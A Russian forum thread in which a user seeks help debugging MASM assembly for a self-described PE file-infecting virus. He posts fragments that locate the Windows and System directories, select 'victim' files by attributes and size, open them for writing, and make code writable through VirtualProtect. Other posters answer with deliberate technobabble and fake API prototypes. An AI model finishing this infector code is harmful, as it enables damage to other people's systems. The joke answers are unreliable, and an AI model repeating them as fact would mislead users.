Конечно можно, но для этого нужно изменить таблицу релокаций процесса с учетом дельта смещения, а также не забыть выровнять указатели по imagesize загруженных модулей, проверив соответствие RVA сегмента значению в TEB и TLS коллбэках. При этом симметричный секретный ключ должен диссонансно опираться на автогенеренную загрузчиком последовательность, что позволит ДНК правильно скооперироваться с едиными неконстантными палладиевыми энерготропами. После этого следует разыменовать указатель влево (не вправо, обязательно влево), и он будет содержать адрес улицы, на которой и заложена бомба. В процессе разминирования обязательно применение холодного хлороформа, в противном случае может произойти автоматическое самоуничтожение PE-файла.
То есть мне придется переписывать код, который я и так практически весь исправил, он выдавал только три ошибки,хорошо я встроил ТЕВ,хотя про TEB и TLS вообще сегодня услышал выдает http://s60.radikal.ru/i168/1209/c8/b8b2e613d763.jpg
error A2008 syntax error: format
fatall error A1000: Connot open file: 'include\Win32a.inc'
То есть нужно предусмотреть TEB и TLS - привязать данные и программу к потоку,а как проверить соответствие RVA сегмента значению в TEB и TLS коллбэках -?
dx, какие протоипы у API-функций:
dwFileSize
pAlloCman
dwFileSize PROTO x:DWORD, pTshit:DWORD, fPtrZ:DWORD, xAlloc:DWORD, tiDebil:DWORD, bConnect:BYTE
pAlloCman PROTO loadCfg:DWORD, ctfPtr:DWORD
также как исправил этот фрагмент кода:
; Вызываем MessageBoxA
push 24h
pushz "Заражение"
pushz "Вы действительно хотите запустить эту программу?"
push 0
call eax
mov eax, 7
mov ebx, eax
pop eax
; Освобождаем библиотеку user32.dll
push eax
call FreeLibrary
; Если пользователь отказался запускать программу - выходим
cmp ebx, 7 ; IDNO
je ExitVirus
Тажке как и расширил поиск файлов в директориях:
lea edi,[ebx+WindowsDir] ; Указатель на 1ую директор.
add edi, delta_off
push 7Fh ; Размер буфера
push edi ; Адрес буфера
call [ebx+_GetWindowsDirectoryA] ; Получаем директорию Windows
add edi,7Fh ; Указатель на 2ую директор.
push 7Fh ; Размер буфера
push edi ; Адрес буфера
call [ebx+_GetSystemDirectoryA] ; Получаем системную дир.
Исправил фрагмент кода, логическая ошибка в цикле проверки атрибутов,в результате програма не могла открыь ни один файл:
; Проверяем атрибуты
mov eax, OFFSET WFD_dwFileAttributes
mov eax, [eax]
.IF !(eax & FILE_ATTRIBUTE_HIDDEN || eax & FILE_ATTRIBUTE_SYSTEM )
; Атрибуты не подходят. Пропускаем файл
jmp _FindNextFileA
.ENDIF
; Проверяем размер файла
mov eax, OFFSET WFD_nFileSizeLow
mov eax, [eax]
mov ebx, CheckVictimSize
.IF ebx && eax > MaxVictimSize
; Размер не подходит. Пропускаем файл
jmp _FindNextFileA
.ENDIF
; Открываем файл
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ OR FILE_SHARE_WRITE
push GENERIC_READ OR GENERIC_WRITE
mov eax, OFFSET WFD_szFileName
push eax
call CreateFileA
inc eax
jz _FindNextFileA ; Не удалось открыть. Продолжаем поиск
dec eax
push eax ; Сохраним hFile
Практически добил - http://s017.radikal.ru/i435/1209/dc/76735b746b2e.jpg
Какой прототип у функции hFile и hFind, если есть-? Как их можно объявить в коде-?
I don't always define a variable prototype, but when I do, it's hFile proto t:DWORD,i:DWORD,d:DWORD,e:DWORD,b:DWORD,i:DWORD,l:DWORD
как прописать hFile,hFind в системном хидере, я так понимаю это в структуре IMAGE_OPTIONAL_HEADER32 STRUCT библиотеке windows.inc, только конкретно а то очень мало инфы в сети-?
Менять системные хедеры? Ну хрееен знает
За что меня dx, в бан поставил-?Не знаешь чемможет быть вызвана эта ошибка masm fatal error a1000 cannot open file .asm
Где, в какой бан?
Вчера хотел про эту ошибку спросить меня, перебрасывает на другую страницу c назвнием delete ban(как то так)
Кстати, а ведь хорошая идея, можно же забанить по IP
Вопрос как обяъвить(описать) все структуры из IMAGE_NT_HEADERS,что бы исходник откомпилировался уже в конец в exe-файл!
Нашел в чем ошибка в коде, хитрвый макрос sztex заталкивал весь код по поиску базы kernel32 и тиблицы экспорта из переменной в стек, до вызова Loadliybery а данные записываются в секцию кода,
pusha
push esp
push 40h
push OFFSET end_data - OFFSET begin_data
mov eax, OFFSET begin_data
add eax, delta_off
push eax
call VirtualProtect
popa
Но для записи полученных данных программа должна обратится к коду содержащему адрес базы kernel32, тиблицы экспорта и секции экспортируемых функций, код должен идти после вызова
call LoadLibrary то, есть
; Загружаем user32.dll
pushz "user32.dll"
call LoadLibrary
push eax
далее следует сам вирусный код, затем данные
как в локалках определить следующие переменные-?
CloseHandle
FindFirstFileA
FindNextFileA
CreateFileA
ReadFile
GlobalAlloc
GetFileSize
SetFilePointer
WriteFile
GlobalFree
VirtualProtect
_ExitProcess
GetProcAddress
LoadLibrary
FindClose
GetModuleFileNameA
SetCurrentDirectoryA
FreeLibrary
tiDebil:DWORD ЭТО я так понимаю нахрен чернвй юмор твой,такого префикса вообще в masm нет!можно и так объявить dxtiDebil:DWORD
А довай я тiбя зобаню по ip?
Это dx первый начал,если я спрашиваю про прототипы функций, что нельзя дать ссылку на недокументированные API-?
Конечно нельзя, это приватная информация, которая дорого стоит
Вот эти API
dwFileSize
pAlloCman
dwAlignedFileSize